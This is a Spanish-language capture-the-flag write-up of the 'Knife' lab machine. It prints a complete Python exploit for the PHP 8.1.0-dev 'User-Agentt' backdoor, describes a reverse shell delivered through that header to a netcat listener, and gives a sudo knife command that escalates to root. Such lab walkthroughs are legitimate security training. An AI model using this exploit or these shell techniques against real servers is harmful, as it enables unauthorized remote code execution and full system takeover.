Publicado: 13 de Mayo de 2025
Autor: Josรฉ Miguel Romero aKa x3m1SecDificultad: โญ Easy
๐ Descripciรณn
La mรกquina "Knife" es un sistema Linux vulnerable que ejecuta un servidor web Apache con PHP 8.1.0-dev. Esta versiรณn especรญfica de PHP contiene un backdoor que permite la ejecuciรณn remota de comandos mediante la manipulaciรณn de la cabecera HTTP "User-Agentt". La explotaciรณn inicial permite obtener acceso como el usuario "james", quien tiene privilegios para ejecutar el binario "knife" como root sin contraseรฑa, lo que permite una fรกcil escalada de privilegios al sistema.
๐ Metodologรญa
graph TD
A[Reconocimiento Inicial] --> B[Escaneo de Puertos]
B --> C[Detecciรณn de Servicios: SSH y HTTP]
C --> D[Enumeraciรณn Web]
D --> E[Identificaciรณn de PHP 8.1.0-dev]
E --> F[Explotaciรณn de Backdoor en PHP]
F --> G{Obtener Shell}
G -->|Opciรณn A| H[Usar Script Python]
G -->|Opciรณn B| I[Usar curl + Reverse Shell]
H --> J[Acceso como usuario james]
I --> J
J --> K[Enumeraciรณn de privilegios]
K --> L[sudo -l revela knife]
L --> M[Escalada de privilegios con knife]
M --> N[Acceso root]
N --> O[Captura de flag]
๐ญ Reconocimiento
Ping para verificaciรณn en base a TTL
โฏ ping -c2 10.10.10.242
PING 10.10.10.242 (10.10.10.242) 56(84) bytes of data.
64 bytes from 10.10.10.242: icmp_seq=1 ttl=63 time=47.2 ms
64 bytes from 10.10.10.242: icmp_seq=2 ttl=63 time=46.6 ms
--- 10.10.10.242 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1019ms
rtt min/avg/max/mdev = 46.552/46.885/47.218/0.333 ms
๐ก Nota: El TTL cercano a 64 sugiere que probablemente sea una mรกquina Linux.
Al enumerar las tecnologรญas empleadas en el sitio web, sรญ que llama algo la atenciรณn, la versiรณn de PHP que estรก usando el sitio web podrรญa backdorizable:
๐ป Explotaciรณn (Opciรณn A usando exploit)
Una versiรณn temprana de PHP, la versiรณn PHP 8.1.0-dev fue lanzada con una puerta trasera el 28 de marzo de 2021, pero la puerta trasera fue rรกpidamente descubierta y eliminada. Si esta versiรณn de PHP se ejecuta en un servidor, un atacante puede ejecutar cรณdigo arbitrario mediante el envรญo de la cabecera User-Agentt.
El siguiente exploit utiliza el backdoor para proporcionar un pseudo shell ont el host.
Y existen algunos exploits para esta vulnerabilidad:
https://www.exploit-db.com/exploits/49933
#!/usr/bin/env python3
import os
import re
import requests
host = input("Enter the full host url:\n")
request = requests.Session()
response = request.get(host)
if str(response) == '<Response [200]>':
print("\nInteractive shell is opened on", host, "\nCan't acces tty; job crontol turned off.")
try:
while 1:
cmd = input("$ ")
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"User-Agentt": "zerodiumsystem('" + cmd + "');"
}
response = request.get(host, headers = headers, allow_redirects = False)
current_page = response.text
stdout = current_page.split('<!DOCTYPE html>',1)
text = print(stdout[0])
except KeyboardInterrupt:
print("Exiting...")
exit
else:
print("\r")
print(response)
print("Host is not available, aborting...")
exit
A continuaciรณn lo ejecutamos de la siguiente forma para obtener una shell interactiva con el host remoto:
python3 backexploit.py
Enter the full host url:
http://10.10.10.242
Interactive shell is opened on http://10.10.10.242
Can't acces tty; job crontol turned off.
$
Un mensaje de error no indica que no se ha podido cargar la tty por lo que tenemos una consola un poco limitada.
๐ป Explotaciรณn (Opciรณn B usando reverse shell y curl)
Generamos una bash reverse shell que codificaremos en base64
Posteriormente, dado que problema de esta versiรณn es que se publicรณ con una puerta trasera (backdoor). Si se pone la cabecera User-Agentt: zerodiumsystem("codigo reverseshell"); obtendremos acceso remoto al host
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.242] 34250
bash: cannot set terminal process group (947): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$
Verificamos si james puede ejecutar algรบn binario como root:
$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
$
Encontramos informaciรณn sobre este binario y las posibles opciones para llevar a cabo la escalada de privilegios debido a una missconfiguration:
https://gtfobins.github.io/gtfobins/knife/
james@knife:/$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
james@knife:/$ sudo knife exec -E 'exec "/bin/sh"'
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt
033ee***********************
#